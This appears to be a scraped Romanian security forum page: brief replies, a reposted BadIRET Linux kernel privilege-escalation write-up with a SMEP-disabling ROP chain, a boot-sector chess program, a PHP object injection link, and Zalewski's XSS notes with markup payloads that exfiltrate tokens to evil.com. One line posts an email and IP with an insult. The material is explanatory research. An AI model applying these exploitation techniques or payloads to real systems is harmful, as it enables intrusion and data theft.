Nytro

Nu are nicio metoda/proprietate care sa iti returneze acel status? Posteaza-l aici si ma uit si eu daca am timp.

Nu ar fi rau nici un astfel de serviciu.

Ar fi utila o optiune de descarcare ca MP3 a unui playlist de muzica.

Demonstrati ca e infectat.

Super. Pacat ca e limitat. if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) return Exploit::CheckCode::Vulnerable end

E un forum pentru teste. O sa dezactivez email-urile. Daca aflu de unde Pe cele de pe /forum le primesti? Primesti de doua ori? Edit: Sa imi zici daca e ok de acum.

Exploiting “BadIRET” vulnerability February 2, 2015 / Rafal Wojtczuk Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation) Introduction CVE-2014-9322 is described as follows: arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not properly handle faults associated with the Stack Segment (SS) segment register, which allows local users to gain privileges by triggering an IRET instruction that leads to access to a GS Base address from the wrong space. It was fixed on 23rd November 2014 with this commit. I have seen neither a public exploit nor a detailed discussion about the issue. In this post I will try to explain the nature of the vulnerability and the exploitation steps as clearly as possible; unfortunately I cannot quote the full 3rd volume of Intel Software Developer’s Manuals, so if some terminology is unknown to the reader then details can be found there. All experiments were conducted on Fedora 20 system, running 64bit 3.11.10-301 kernel; all the discussion is 64bit-specific. Short results summary: With the tested kernel, the vulnerability can be reliably exploited to achieve kernelmode arbitrary code execution. SMEP does not prevent arbitrary code execution; SMAP does prevent arbitrary code execution. Digression: kernel, usermode, iret The vulnerability In a few cases, when Linux kernel returns to usermode via iret, this instruction throws an exception. The exception handler returns execution to bad_iret function, that does /* So pretend we completed the iret and took the #GPF in user mode.*/ pushq $0 SWAPGS jmp general_protection As the comment explains, the subsequent code flow should be identical to the case when general protection exception happens in user mode (just jump to the #GP handler). This works well in case of most of the exceptions that can be raised by iret, e.g. #GP. The problematic case is #SS exception. If a kernel is vulnerable (so, before kernel version 3.17.5) and has “espfix” functionality (introduced around kernel version 3.16), then bad_iret executes with a read-only stack – “push” instruction generates a page fault that gets converted into double fault. I have not analysed this scenario; from now on, we focus on pre 3.16 kernel, with no “espfix”. The vulnerability stems from the fact that the exception handler for the #SS exception does not fit the “pretend-it-was-#GP-in-userspace” schema well. In comparison with e.g. #GP handler, the #SS exception handler does one extra swapgs instruction. In case you are not familiar with swapgssemantics, read the below paragraph, otherwise skip it. Digression: swapgs instruction When memory is accessed with gs segment prefix, like this: mov %gs:LOGICAL_ADDRESS, %eax the following actually happens: BASE_ADDRESS value is retrieved from the hidden part of the segment register memory at linear address LOGICAL_ADDRESS+BASE_ADDRESS is dereferenced The base address is initially derived from Global Descriptor Table (or LDT). However, there are situations where GS segment base is changed on the fly, without involving GDT. Quoting SDM: “SWAPGS exchanges the current GS base register value with the value contained in MSR address C0000102H (IA32_KERNEL_GS_BASE). The SWAPGS instruction is a privileged instruction intended for use by system software. (…) The kernel can then use the GS prefix on normal memory references to access [per-cpu]kernel data structures.” For each CPU, Linux kernel allocates at boot time a fixed-size structure holding crucial data. Then, for each CPU, Linux loads IA32_KERNEL_GS_BASE with this structure address. Therefore, the usual pattern of e.g. syscall handler is: swapgs (now the gs base points to kernel memory) access per-cpu kernel data structures via memory instructions with gs prefix swapgs (it undos the result of the previous swapgs, gs base points to usermode memory) return to usermode Naturally, kernel code must ensure that whenever it wants to access percpu data with gs prefix, the number of swapgs instructions executed by the kernel since entry from usermode is noneven (so that gs base points to kernel memory). Triggering the vulnerability By now it should be obvious that the vulnerability is grave – because of one extra swapgs in the vulnerable code path, kernel will try to access important data structures with a wrong gs base, controllable by the user. When is #SS exception thrown by the iret instruction? Interestingly, the Intel SDM is incomplete in this aspect; in the description of iret instruction, it says: 64-Bit Mode Exceptions: #SS(0) If an attempt to pop a value off the stack violates the SS limit. If an attempt to pop a value off the stack causes a non-canonical address to be referenced. None of these conditions can be forced to happen in kernel mode. However, the pseudocode foriret (in the same SDM) shows another case: when the segment defined by the return frame is not present: IF stack segment is not present THEN #SS(SS selector); FI; So, in usermode, we need to set ss register to something not present. It is not straighforward: we cannot just use mov $nonpresent_segment_selector, %eax mov %ax, %ss as the latter instruction will generate #GP. Setting the ss via debugger/ptrace is disallowed; similarly, the sys_sigreturn syscall does not set this register on 64bits system (it might work on 32bit, though). The solution is: thread A: create a custom segment X in LDT via sys_modify_ldt syscall thread B: ss:=X_selector thread A: invalidate X via sys_modify_ldt thread B: wait for hardware interrupt The reason why one needs two threads (both in the same process) is that the return from the syscall (including sys_modify_ldt) is done via sysret instruction that hardcodes the ss value. If we invalidated X in the same thread that did “ss:=X instruction”, ss would be undone. Running the above code results in kernel panic. In order to do something more meaningful, we will need to control usermode gs base; it can be set via arch_prctl(ARCH_SET_GS) syscall. Achieving write primitive If we run the above code, then #SS handler runs fine (meaning: it will not touch memory at gs base), returns into bad_iret, that in turn jumps to #GP exception handler. This runs fine for a while, and then calls the following function: 289 dotraplinkage void 290 do_general_protection(struct pt_regs *regs, long error_code) 291 { 292 struct task_struct *tsk; ... 306 tsk = current; 307 if (!user_mode(regs)) { ... it is not reached 317 } 318 319 tsk->thread.error_code = error_code; 320 tsk->thread.trap_nr = X86_TRAP_GP; 321 322 if (show_unhandled_signals && unhandled_signal(tsk, SIGSEGV) && 323 printk_ratelimit()) { 324 pr_info("%s[%d] general protection ip:%lx sp:%lx error:%lx", 325 tsk->comm, task_pid_nr(tsk), 326 regs->ip, regs->sp, error_code); 327 print_vma_addr(" in ", regs->ip); 328 pr_cont("\n"); 329 } 330 331 force_sig_info(SIGSEGV, SEND_SIG_PRIV, tsk); 332 exit: 333 exception_exit(prev_state); 334 } It is far from obvious from the C code, but the assignment to tsk from current macro uses memory read with gs prefix. Line 306 is actually: 0xffffffff8164b79d : mov %gs:0xc780,%rbx This gets interesting. We control the “current” pointer, that points to the giant data structure describing the whole Linux process. Particularly, the lines 319 tsk->thread.error_code = error_code; 320 tsk->thread.trap_nr = X86_TRAP_GP; are writes to addresses (at some fixed offset from the beginning of the task struct) that we control. Note that the values being written are not controllable (they are 0 and 0xd constants, respectively), but this should not be a problem. Game over ? Not quite. Say, we want to overwrite some important kernel data structure at X. If we do the following steps: prepare usermode memory at FAKE_PERCPU, and set gs base to it Make the location FAKE_PERCPU+0xc780 hold the pointer FAKE_CURRENT_WITH_OFFSET, such that FAKE_CURRENT_WITH_OFFSET= X – offsetof(struct task_struct, thread.error_code) trigger the vulnerability Then indeed do_general_protection will write to X. But soon afterwards it will try to access other fields in the current task_struct again; e.g. unhandled_signal() function dereferences a pointer from task_struct. We have no control what lies beyond X, and the result will be a page fault in kernel. How can we cope with this? Options: Do nothing. Linux kernel, unlike e.g. Windows, is quite permissive when it gets an unexpected page fault in kernel mode – if possible, it kills the current process, and tries to continue (while Windows bluescreens immediately). This does not work – the result is massive kernel data corruption and whole system freeze. My suspicion is that after the current process is killed, the swapgs imbalance persists, resulting in many unexpected page faults in the context of the other processes. Use the “tsk->thread.error_code = error_code” write to overwrite IDT entry for the page fault handler. Then the page fault (triggered by, say, unhandled_signal()) will result in running our code. This technique proved to be successful on a couple of occasions before. This does not work, either, for two reasons: Linux makes IDT read-only (bravo!) even if IDT was writeable, we do not control the overwrite value – it is 0 or 0xd. If we overwrite the top DWORDS of IDT entry for #PF, the resulting address will be in usermode, and SMEP will prevent handler execution (more on SMEP later). We could nullify the lowest one or two bytes of the legal handler address, but the chances of these two addresses being an useful stack pivot sequence are negligible. [*]We can try a race. Say, “tsk->thread.error_code = error_code” write facilitates code execution, e.g. allows to control code pointer P that is called via SOME_SYSCALL. Then we can trigger our vulnerability on CPU 0, and at the same time CPU 1 can run SOME_SYSCALL in a loop. The idea is that we will get code execution via CPU 1 before damage is done on CPU 0, and e.g. hook the page fault handler, so that CPU 0 can do no more harm. I tried this approach a couple of times, with no luck; perhaps with different vulnerability the timings would be different and it would work better. [*]Throw a towel on “tsk->thread.error_code = error_code” write. With some disgust, we will follow the last option. We will point “current” to usermode location, setting the pointers in it so that the read dereferences on them hit our (controlled) memory. Naturally, we inspect the subsequent code to find more pointer write dereferences. Achieving write primitive continued, aka life after do_general_protection Our next chance is the function called by do_general_protection(): int force_sig_info(int sig, struct siginfo *info, struct task_struct *t) { unsigned long int flags; int ret, blocked, ignored; struct k_sigaction *action; spin_lock_irqsave(&t->sighand->siglock, flags); action = &t->sighand->action[sig-1]; ignored = action->sa.sa_handler == SIG_IGN; blocked = sigismember(&t->blocked, sig); if (blocked || ignored) { action->sa.sa_handler = SIG_DFL; if (blocked) { sigdelset(&t->blocked, sig); recalc_sigpending_and_wake(t); } } if (action->sa.sa_handler == SIG_DFL) t->signal->flags &= ~SIGNAL_UNKILLABLE; ret = specific_send_sig_info(sig, info, t); spin_unlock_irqrestore(&t->sighand->siglock, flags); return ret; } The field “sighand” in task_struct is a pointer, that we can set to an arbitrary value. It means that the action = &t->sighand->action[sig-1]; action->sa.sa_handler = SIG_DFL; lines are another chance for write primitive to an arbitrary location. Again, we do not control the write value – it is the constant SIG_DFL, equal to 0. This finally works, hurray ! with a little twist. Assume we want to overwrite location X in the kernel. We prepare our fake task_struct (particularly sighand field in it) so that X = address of t->sighand->action[sig-1].sa.sa_handler. But a few lines above, there is a line spin_lock_irqsave(&t->sighand->siglock, flags); As t->sighand->siglock is at constant offset from t->sighand->action[sig-1].sa.sa_handler, it means kernel will call spin_lock_irqsave on some address located after X, say at X+SPINLOCK, whose content we do not control. What happens then? There are two possibilities: memory at X+SPINLOCK looks like an unlocked spinlock. spin_lock_irqsave will complete immediately. Final spin_unlock_irqrestore will undo the writes done by spin_lock_irqsave. Good. memory at X+SPINLOCK looks like a locked spinlock. spin_lock_irqsave will loop waiting for the spinlock – infinitely, if we do not react. This is worrying. In order to bypass this, we will need another assumption – we will need to know we are in this situation, meaning we will need to know the contents of memory at X+SPINLOCK. This is acceptable – we will see later that we will set X to be in kernel .data section. We will do the following: initially, prepare FAKE_CURRENT so that t->sighand->siglock points to a locked spinlock in usermode, at SPINLOCK_USERMODE force_sig_info() will hang in spin_lock_irqsave at this moment, another usermode thread running on another CPU will change t->sighand, so that t->sighand->action[sig-1].sa.sa_handler is our overwrite target, and then unlock SPINLOCK_USERMODE spin_lock_irqsave will return. force_sig_info() will reload t->sighand, and perform the desired write. A careful reader is encouraged to enquire why cannot use the latter approach in the case X+SPINLOCK is initially unlocked. This is not all yet – we will need to prepare a few more fields in FAKE_CURRENT so that as little code as possible is executed. I will spare you the details – this blog is way too long already. The bottom line is that it works. What happens next? force_sig_info() returns, and do_general_protection() returns. The subsequent iret will throw #SS again (because still the usermode ss value on the stack refers to a nonpresent segment). But this time, the extra swapgs instruction in #SS handler will return the balance to the Force, cancelling the effect of the previous incorrect swapgs. do_general_protection() will be invoked and operate on real task_struct, not FAKE_CURRENT. Finally, the current task will be sent SIGSEGV, and another process will be scheduled for execution. The system remains stable. Digression: SMEP SMEP is a feature of Intel processors, starting from 3rd generation of Core processor. If the SMEP bit is set in CR4, CPU will refuse to execute code with kernel privileges if the code resides in usermode pages. Linux enables SMEP by default if available. Achieving code execution The previous paragraphs showed a way to overwrite 8 consecutive bytes in kernel memory with 0. How to turn this into code execution, assuming SMEP is enabled? Overwriting a kernel code pointer would not work. We can either nullify its top bytes – but then the resulting address would be in usermode, and SMEP will prevent dereference of this pointer. Alternatively, we can nullify a few low bytes, but then the chances that the resulting pointer would point to an useful stack pivot sequence are low. What we need is a kernel pointer P to structure X, that contains code pointers. We can overwrite top bytes of P so that the resulting address is in usermode, and P->code_pointer_in_) call will jump to a location that we can choose. I am not sure what is the best object to attack. For my experiments, I choose the kernel proc_rootvariable. It is a structure of type struct proc_dir_entry { ... const struct inode_operations *proc_iops; const struct file_operations *proc_fops; struct proc_dir_entry *next, *parent, *subdir; ... u8 namelen; char name[]; }; This structure represents an entry in the proc filesystem (and proc_root represents the root of the /proc filesystem). When a filename path starting with /proc is looked up, the “subdir” pointers (starting with proc_root.subdir) are followed, until the matching name is found. Afterwards, pointers from proc_iops are called: struct inode_operations { struct dentry * (*lookup) (struct inode *,struct dentry *, unsigned int); void * (*follow_link) (struct dentry *, struct nameidata *); ...many more... int (*update_time)(struct inode *, struct timespec *, int); ... } ____cacheline_aligned; proc_root resides in the kernel data section. It means that the exploit needs to know its address. This information is available from /proc/kallsyms; however, many hardened kernels do not allow unprivileged users to read from this pseudofile. Still, if the kernel is a known build (say, shipped with a distribution), this address can be obtained offline; along with tens of offsets required to build FAKE_CURRENT. So, we will ovewrite proc_root.subdir so that it becomes a pointer to a controlled struct proc_dir_entry residing in usermode. A slight complication is that we cannot overwrite the whole pointer. Remember, our write primitive is “overwrite with 8 zeroes”. If we made proc_root.subdirbe 0, we would not be able to map it, because Linux does not allow usermode to map address 0 (more precisely, any address below /proc/sys/vm/mmap_min_addr, but the latter is 4k by default). It means we need to: map 16MB of memory at address 4096 fill it with a pattern resembling proc_dir_entry, with the inode_operations field pointing to usermode address FAKE_IOPS, and name field being “A” string. configure the exploit to overwrite the top 5 bytes of proc_root.subdir Then, unless the bottom 3 bytes of proc_root.subdir are 0, we can be sure that after triggering the overwrite in force_sig_info() proc_root.subdir will point to controlled usermode memory. When our process will call open(“/proc/A”, …), pointers from FAKE_IOPS will be called. What should they point to? If you think the answer is “to our shellcode”, go back and read again. We will need to point FAKE_IOPS pointers to a stack pivot sequence. This again assumes the knowledge of the precise version of the kernel running. The usual “xchg %esp, %eax; ret” code sequence (it is two bytes only, 94 c3, found at 0xffffffff8119f1ed in case of the tested kernel), works very well for 64bit kernel ROP. Even if there is no control over %rax, this xchg instruction operates on 32bit registers, thus clearing the high 32bits of %rsp, and landing %rsp in usermode memory. At the worst case, we may need to allocate low 4GB of virtual memory and fill it with rop chain. In the case of the tested kernel, two different ways to dereference pointers in FAKE_IOPS were observed: %rax:=FAKE_IOPS; call *SOME_OFFSET(%rax) %rax:=FAKE_IOPS; %rax:=SOME_OFFSET(%rax); call *%rax In the first case, after %rsp is exchanged with %rax, it will be equal to FAKE_IOPS. We need the rop chain to reside at the beginning of FAKE_IOPS, so it needs to start with something like “add $A_LOT, %rsp; ret”, and continue after the end of FAKE_IOPS pointers. In the second case, the %rsp will be assigned the low 32bits of the call target, so 0x8119f1ed. We need to prepare the rop chain at this address as well. To sum up, as the %rax value has one of two known values at the moment of the entry to the stack pivot sequence, we do not need to fill the whole 4G with rop chain, just the above two addresses. The ROP chain itself is straightforward, shown for the second case: unsigned long *stack=0x8119f1ed; *stack++=0xffffffff81307bcdULL; // pop rdi, ret *stack++=0x407e0; //cr4 with smep bit cleared *stack++=0xffffffff8104c394ULL; // mov rdi, cr4; pop %rbp; ret *stack++=0xaabbccdd; // placeholder for rbp *stack++=actual_shellcode_in_usermode_pages; Digression: SMAP SMAP is a feature of Intel processors, starting from 5th generation of Core processor. If the SMAP bit is set in CR4, CPU will refuse to access memory with kernel privileges if this memory resides in usermode pages. Linux enables SMAP by default if available. A test kernel module (run on an a system with Core-M 5Y10a CPU) that tries to access usermode crashes with: [ 314.099024] running with cr4=0x3407e0 [ 389.885318] BUG: unable to handle kernel paging request at 00007f9d87670000 [ 389.885455] IP: [ffffffffa0832029] test_write_proc+0x29/0x50 [smaptest] [ 389.885577] PGD 427cf067 PUD 42b22067 PMD 41ef3067 PTE 80000000408f9867 [ 389.887253] Code: 48 8b 33 48 c7 c7 3f 30 83 a0 31 c0 e8 21 c1 f0 e0 44 89 e0 48 8b As we can see, although the usermode page is present, access to it throws a page fault. Windows systems do not seem to support SMAP; Windows 10 Technical Preview build 9926 runs with cr4=0x1506f8 (SMEP set, SMAP unset); in comparison with Linux (that was tested on the same hardware) you can see that bit 21 in cr4 is not set. This is not surprising; in case of Linux, access to usermode is performed explicitely, via copy_from_user, copy_to_user and similar functions, so it is doable to turn off SMAP temporarily for the duration of these functions. On Windows, kernel code accesses usermode directly, just wrapping the access in the exception handler, so it is more difficult to adjust all the drivers in all required places to work properly with SMAP. SMAP to the rescue! The above exploitation method relied on preparing certain data structures in usermode and forcing the kernel to interpret them as trusted kernel data. This approach will not work with SMAP enabled – CPU will refuse to read malicious data from usermode. What we could do is to craft all the required data structures, and then copy them to the kernel. For instance if one does write(pipe_filedescriptor, evil_data, ... then evil_data will be copied to a kernel pipe buffer. We would need to guess its address; some sort of heap spraying, combined with the fact that there is no spoon^W effective kernel ASLR, could work, although it is likely to be less reliable than exploitation without SMAP. However, there is one more hurdle – remember, we need to set usermode gs base to point to our exploit data structures. In the scenario above (without SMAP), we used arch_prctl(ARCH_SET_GS) syscall, that is implemented in the following way in the kernel: long do_arch_prctl(struct task_struct *task, int code, unsigned long addr) { int ret = 0; int doit = task == current; int cpu; switch (code) { case ARCH_SET_GS: if (addr >= TASK_SIZE_OF(task)) return -EPERM; ... honour the request otherwise Houston, we have a problem – we cannot use this API to set gs base above the end of usermode memory ! Recent CPUs feature wrgsbase instruction, that sets the gs base directly. This is a nonprivileged instruction, but needs to be enabled by the kernel by setting the FSGSBASE bit (no 16) in CR4. Linux does not set this bit, and therefore usermode cannot use this instruction. On 64bits, nonsystem entries in GDT and LDT are still 8 bytes long, and the base field is at most 4G-1 – so, no chance to set up a segment with base address in kernel space. So, unless I missed another way to set usermode gs base in the kernel range, SMAP protects 64bit Linux against achieving arbitrary code execution via exploiting CVE-2014-9322. Sursa: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

Toledo Atomchess Game By January 28, 2015 came to my knowledge a new chess program written in 487 bytes of x86 assembly code. I don't ever ran it and moved to another things as I was kind of busy. Nevertheless my friends from JS1K and Twitter encouraged me to do something, and I've some notions of x86 machine code. So I started coding my own chess program in x86 assembler, I finished it in 24 hours and went for another 24 hours debugging it. After this I gave a look to the documentation of the other chess program and I was surprised it made illegal movements and doesn't even has a search tree, for me that is like not playing any chess. So here it is, my game is Toledo Atomchess and it is 481 bytes of x86 assembly code and it plays very reasonably under the limitations. Plays basic chess movements (no en passant, no castling and no promotion) Enter your movements as basic algebraic (D2D4) Your movements aren't checked for legality Search depth of 3-ply How to run it To run it you need a 1.44 MB floppy disk and put the 512 byte into the boot sector using an utility like Rawrite, also available as a COM file runable in MS-DOS or Wind*ws command-line. Download Toledo Atomchess package (5.8K) The source code Here is the full source code [FONT=Verdana] ;[/FONT] ; Toledo Atomchess ; ; by Óscar Toledo Gutiérrez ; ; © Copyright 2015 Óscar Toledo Gutiérrez ; ; Creation: 28-ene-2015 21:00 local time. ; Revision: 29-ene-2015 18:17 local time. Finished. ; Revision: 30-ene-2015 13:34 local time. Debugging finished. ; Features: ; * Basic chess movements. ; * Enter moves as algebraic form (D2D4) (note your moves aren't validated) ; * Search depth of 3-ply ; * No promotion of pawns. ; * No castling ; * No en passant. ; * 481 bytes size (fits in a boot sector) ; Note: I'm lazy enough to write my own assembler instead of ; searching for one, so you will have to excuse my syntax code16 ; Change to org &0100 for COM file org &7c00 ; Housekeeping mov sp,stack cld push cs push cs push cs pop ds pop es pop ss ; Create board mov bx,board sr1: mov al,bl and al,&88 ; 0x88 board jz sr2 mov al,&07 ; Frontier sr2: mov [bx],al inc bl jnz sr1 ; Setup board mov si,initial sr3: lodsb ; Load piece mov [bx],al ; Black pieces or al,8 mov [bx+&70],al ; White pieces mov al,&01 mov [bx+&10],al ; Black pawn mov al,&09 mov [bx+&60],al ; White pawn inc bx cmp bl,&08 jnz sr3 ; ; Main loop ; sr21: call display_board call key2 push di call key2 pop si movsb mov byte [si-1],0 call display_board mov ch,&08 ; Current turn (0=White, 8=Black) call play jmp short sr21 ; ; Computer plays ; play: mov bp,-32768 ; Current score push bp ; Origin square push bp ; Target square xor ch,8 ; Change side mov si,board sr7: lodsb ; Read square xor al,ch ; XOR with current playing side dec ax cmp al,6 ; Ignore if frontier jnc sr6 or al,al ; Is it pawn? jnz sr8 or ch,ch ; Is it playing black? jnz sr25 ; No, jump sr8: inc ax sr25: dec si mov bx,offsets push ax xlat mov dh,al ; Movements offset pop ax mov bl,total&255 xlat mov dl,al ; Total movements of piece sr12: mov di,si ; Restart target square mov bl,displacement&255 mov al,dh xlat mov cl,al sr9: add di,cx and di,&ff or di,board mov al,[si] ; Content of: origin in al, target in ah mov ah,[di] or ah,ah ; Empty square? jz sr10 xor ah,ch sub ah,&09 ; Valid capture? cmp ah,&06 mov ah,[di] jnc sr18 ; No, avoid cmp dh,14 ; Pawn? jc sr19 test cl,1 ; Straight? je sr18 ; Yes, avoid jmp short sr19 sr10: cmp dh,14 ; Pawn? jc sr19 test cl,1 ; Diagonal? jne sr18 ; Yes, avoid sr19: push ax ; Save for restoring in near future mov bl,scores&255 mov al,ah and al,7 cmp al,6 ; King eaten? jne sr20 cmp sp,stack-(3+8+3)*2 ; If in first response... mov bp,20000 ; ...maximum score (probably checkmate/slatemate) jne sr26 mov bp,7811 ; Maximum score sr26: add sp,6 ; Ignore values jmp short sr24 sr20: xlat cbw ; cmp sp,stack-(3+8+3+8+3+8+3+8+3)*2 ; 4-ply depth cmp sp,stack-(3+8+3+8+3+8+3)*2 ; 3-ply depth ; cmp sp,stack-(3+8+3+8+3)*2 ; 2-ply depth ; cmp sp,stack-(3+8+3)*2 ; 1-ply depth jbe sr22 pusha movsb ; Do move mov byte [si-1],ah ; Clear origin square call play mov bx,sp sub [bx+14],bp ; Substract BP from AX popa sr22: cmp bp,ax ; Better score? jg sr23 ; No, jump mov bp,ax ; New best score jne sr27 in al,(&40) cmp al,&55 ; Randomize it jb sr23 sr27: pop ax add sp,4 push si ; Save movement push di push ax sr23: pop ax ; Restore board mov [si],al mov [di],ah sr18: dec ax and al,&07 ; Was it pawn? jz sr11 ; Yes, check special cmp al,&04 ; Knight or king? jnc sr14 ; End sequence, choose next movement or ah,ah ; To empty square? jz sr9 ; Yes, follow line of squares sr16: jmp short sr14 sr11: and cl,&1f ; Advanced it first square? cmp cl,&10 jnz sr14 sr15: or ah,ah ; Pawn to empty square? jnz sr17 ; No, cancel double-square movement mov ax,si cmp al,&20 ; At first top row? jb sr14 ; Yes, jump cmp al,&60 ; At first bottom row? jb sr17 ; No, cancel double-square movement sr14: inc dh dec dl jnz sr12 sr17: inc si sr6: cmp si,board+120 jne sr7 pop di pop si cmp sp,stack-2 jne sr24 cmp bp,-16384 ; Illegal move? (always in check) jl sr24 ; Yes, doesn't move movsb mov byte [si-1],0 sr24: xor ch,8 ret display_board: ; Display board call display3 mov si,board sr4: lodsb mov bx,chars xlat call display2 sr5: cmp si,board+128 jnz sr4 ret key2: mov di,board+127 call key add di,ax call key shl al,4 sub di,ax ret key: push di mov ah,0 int &16 push ax call display pop ax and ax,&0f pop di ret display2: cmp al,&0d jnz display display3: add si,7 mov al,&0a call display mov al,&0d display: push si mov ah,&0e mov bh,&00 int &10 pop si ret initial: db 2,5,3,4,6,3,5,2 scores: db 0,10,50,30,90,30 chars: db ".prbqnk",&0d,".PRBQNK" offsets: db 14,18,8,12,8,0,8 total: db 4, 4,4, 4,8,8,8 displacement: db -33,-31,-18,-14,14,18,31,33 db -16,16,-1,1 db 15,17,-15,-17 db -16,-32 db 15,17,16,32 ; 29 bytes to say something db "Toledo Atomchess" db "nanochess.org" ; ; This marker is required for BIOS to boot floppy disk ; ds &7dfe-* ; Change to &02fe for COM file db &55,&aa board: ds 256 ds 256 stack: [FONT=arial][FONT=Verdana] end[/FONT][/FONT] Sursa: Toledo Atomchess Game

a12axis@hotmail.com 95.211.174.70 Muie.

Asta e prost. E ca si cum ar veni acum Italia sa zica ca jumatate din Europa e a lor pentru ca a apartinut Imperiului Roman.

Understanding PHP Object Injection January 5, 2015 Ionut Popescu PHP Object Injection is not a very common vulnerability, it may be difficult to exploit but it also may be really dangerous. In order to understand this vulnerability, understanding of basic PHP code is required. Vulnerable applications If you may think this is not an important type of vulnerability, please see the list below. Researchers found PHP Object Injection vulnerabilities in very common PHP applications: WordPress 3.6.1 Magento 1.9.0.1 Joomla 3.0.3 IP Board 3.3.4 And many others. There may be a lot of other undiscovered PHP Object Injections in these or in other very common PHP applications, so maybe you can take a coffee break and try to understand it. Articol complet: http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

Postcards from the post-XSS world Michal Zalewski, <lcamtuf@coredump.cx> 1. Introduction HTML markup injection vulnerabilities are one of the most significant and pervasive threats to the security of web applications. They arise whenever, in the process of generating HTML documents, the underlying code inserts attacker-controlled variables into the output stream without properly screening them for syntax control characters. Such a mistake allows the party controlling the offending input to alter the structure - and thus the meaning - of the produced document.In practical settings, markup injection vulnerabilities are almost always leveraged to execute attacker-supplied JavaScript code in the client-side browsing contextassociated with the vulnerable application. The term cross-site scripting, a common name for this class of flaws, reflects the prevalence of this approach.The JavaScript language is popular with attackers because of its versatility, and the ease with which it may be employed to exfiltrate arbitrarily chosen data, alter the appearance of the targeted website, or to perform server-side state changes on behalf of the authenticated user. Consequently, most of the ongoing browser-level efforts to improve the security of web applications focus on the containment of attacker-originating scripts. The most notable example of this trend is undoubtedly the Content Security Policy, a mechanism that removes the ability to inline JavaScript code in a protected HTML document, and maintains a whitelist of permissible sources for any externally-loaded scripts. Several related approaches, such as the NoScript add-on, the built-in XSS filters in Internet Explorer and Chrome, client-side APIs such astoStaticHTML(...), or the HTML sanitizers built into server-side frameworks, also deserve a note.This page is a rough collection of notes on some of the fundamental alternatives to direct script injection that would be available to attackers following the universal deployment of CSP or other security mechanisms designed to prevent the execution of unauthorized scripts. I hope to demonstrate that in many cases, the capabilities offered by these alternative methods are highly compatible with the goals of contemporary XSS attacks. 2. Content exfiltration One of the most rudimentary goals of a successful XSS attack is the extraction of user-specific secrets from the vulnerable application. Historically, XSS exploits sought to obtain HTTP cookies associated with the authenticated user session; these tokens - a form of ambient authority - could be later replayed by the attacker to remotely impersonate the victim within the targeted site. The introduction of httponly cookies greatly limited this possibility - and prompted rogue parties to pursue finer-grained approaches.In an application where theft of HTTP cookies is not practical, exfiltration attempts are usually geared toward the extraction of any of the following: Personal data. In applications such as webmail systems, discussion or messaging platforms, social networks, or shopping or banking sites, the information about the user may be of immense value on its own merit. The extraction of contact lists, messaging history, or transaction records, may be the ultimate goal of an attack. Tokens used to defend against cross-site request forgery attacks. Under normal circumstances, any website loaded in the victim's browser is free to blindly initiate cross-domain requests to any destination. Because such a request is automatically supplanted with user's ambient credentials, it is difficult to distinguish it from a request that arises in response to a legitimate user action. To prevent malicious interference, most websites append session-specific, unpredictable secrets - XSRF tokens - to all GET URLs or POST request bodies that change the state of user account or perform other disruptive tasks.The tokens are an attractive target for exfiltration, because their possession enables the attacker to bypass the defense, and construct valid-looking state changing requests that can be relayed through the victim's browser later on. Such requests may, for example, instruct the application to add an attacker-controlled persona as a privileged contact or a delegate for the victim. Capability-bearing URLs. Many modern web applications make occasional use of capability-bearing URLs; this is particularly common for constructing invitation and sharing links; offering downloads of private data; implementing single sign-on flows (SSO); or performing federated login. The ability for the attacker to obtain these URLs is equivalent to gaining access to the protected resource or functionality; especially in the case of authentication flows, that token may be equivalent to HTTP cookies. In this section, I'd like to present several exfiltration strategies that enable attackers to extract these types of data without the need to execute JavaScript. 2.1. Dangling markup injection Perhaps the least complicated extraction technique employs the injection of non-terminated markup. This action prompts the receiving parser to consume a significant portion of the subsequent HTML syntax, until the expected terminating sequence is encountered.To illustrate this attack, consider the following example of a markup injection vector:<img src='http://evil.com/log.cgi? ? Injected line with a non-terminated parameter ... <input type="hidden" name="xsrf_token" value="12345"> ... ' ? Normally-occurring apostrophe in page text ... </div> ? Any normally-occurring tag (to provide a closing bracket) Any markup between the opening single quote of the src parameter and the next occurrence of a matching quote will be treated as a part of the image URL. Consequently, the browser will issue a request to retrieve the image from the specified location - thereby disclosing the secret value to an attacker-controlled destination: http://evil.com/log.cgi?...<input type="hidden" name="xsrf_token" value="12345">... Note that in some deployments of CSP, the destination URLs for <img> tags may be restricted for non-security reasons; in these cases, the attacker is free to leverage several other tags, including <meta http-equiv="Refresh" ...> - honored anywhere in the document in all popular browsers, and not subject to policy controls.In either case, the attacker may choose the parameter quoting scheme to counter the prevalent syntax used on the targeted page; single and double quoted are recognized by all browsers, and in Internet Explorer, backtick (`) is also a recognized option. In most browsers, the HTML parser must encounter a matching quote and a greater-than character before the end of the document; otherwise, the malformed tag will be ignored. This is not true for all HTML parsers, however: Opera and older versions of Firefox will close the tag implicitly.To succeed, the attack also requires the injection point to appear before the secret to be extracted. If governed by pure chance, this condition will be met in 50% of all cases. In practice, the odds will often be higher: It is not uncommon for a vulnerable website to embed several copies of the same secret, or several instances of an improperly escaped parameter, on a single page. 2.2. <textarea>-based consumption The dangling markup vector discussed in section 2.1 is to some extent dependent on the layout of the vulnerable page; in absence of a matching quote character, or in presence of mixed-style quoting in the legitimately present markup, the attack may be difficult to carry out. These constraints are removed by leveraging the CDATA-like behavior of the <textarea> tag, however.The possibility is illustrated by the following snippet: <form action='http://evil.com/log.cgi'><textarea> ? Injected line ... <input type="hidden" name="xsrf_token" value="12345"> ... (EOF) In this case, all browsers will implicitly close the <textarea> and <form> blocks.The weakness of this approach is that in contrast to the previous method, a degree of user interaction is needed to exfiltrate the data: The victim must submit the form by pressing ENTER or clicking the submit button. This interaction is easy to facilitate by giving the submit button a misleading appearance - for example, as a faux notification or an interstitial to be dismissed, or even a transparent overlay that spans the entire browser window. That goal can be typically achieved by leveraging existing CSS classes in the application, or other methods discussed later in this document (section 3.3).It is also worth noting that forms with auto-submit capabilities are being considered for HTML5; such a feature may unintentionally assist with the automation of this attack in future browsers.Attribution: The idea for <textarea>-based markup consumption comes from an upcoming paper on data exfiltration by Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Collin Jackson. According to Gareth Heyes, it might have been discussed previously, too. Gareth additionally points out similar consumption vectors via <button> and <option>. 2.3. 